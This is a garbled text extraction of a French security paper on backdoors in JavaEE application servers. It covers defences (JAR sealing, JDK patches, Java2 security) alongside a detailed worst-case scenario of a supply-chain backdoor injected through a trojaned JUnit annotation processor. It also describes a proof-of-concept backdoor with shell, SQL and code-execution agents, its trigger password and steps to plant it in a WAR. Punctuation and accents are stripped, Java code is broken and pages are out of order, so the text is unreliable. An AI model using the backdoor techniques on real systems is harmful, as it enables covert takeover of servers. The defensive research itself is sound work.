ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

